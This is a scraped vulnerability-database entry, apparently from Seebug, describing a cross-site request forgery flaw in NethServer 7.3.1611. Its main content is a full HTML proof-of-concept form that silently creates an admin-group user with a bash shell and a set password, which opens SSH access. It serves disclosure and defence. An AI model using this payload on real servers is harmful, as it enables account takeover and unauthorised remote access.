NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access

基本字段

漏洞编号：: SSV-96841

披露/发现时间：: 2017-08-29

提交时间：: 2017-11-13

漏洞等级：

漏洞类别：: 跨站请求伪造

影响组件：: NethServer

漏洞作者：: Gjoko Krstic

提交者：: Knownsec

CVE-ID：: 补充

CNNVD-ID：: 补充

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php

漏洞详情

贡献者共获得 0KB

共 0 兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得 0KB

HTML Decoded PoC: <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST"> <input type="hidden" name="Account[User][create][username]" value="Blabla" /> <input type="hidden" name="Account[User][create][gecos]" value="Test1" /> <input type="hidden" name="Account[User][create][groups]" value="" /> <input type="hidden" name="Account[User][create][groups][1]" value="admin@zsl.lsz" /> <input type="hidden" name="Account[User][create][expires]" value="no" /> <input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" /> <input type="hidden" name="Account[User][create][shell]" value="/bin/bash" /> <input type="hidden" name="Account[User][create][setPassword]" value="disabled" /> <input type="hidden" name="Account[User][create][setPassword]" value="enabled" /> <input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" /> <input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" /> <input type="hidden" name="Account[User][create][Submit]" value="Submit" /> <input type="submit" value="Submit request" /> </form> </body> </html>

共 0 兑换

参考链接

https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

生命线

Gjoko Krstic

2017-08-29 发现/披露了漏洞
Knownsec

2017-11-13 提交了漏洞
Knownsec

2017-11-13 提交补充了漏洞详情
Knownsec

2017-11-13 提交更新了 PoC

NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access

基本字段

来源

漏洞详情

PoC (非 pocsuite 插件)

参考链接

解决方案

生命线

相关漏洞

评论前需绑定手机现在绑定

暂无评论

NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access

基本字段

来源

漏洞详情

PoC (非 pocsuite 插件)

参考链接

解决方案

生命线

相关漏洞

评论前需绑定手机 现在绑定

暂无评论

您好，

您好，

评论前需绑定手机现在绑定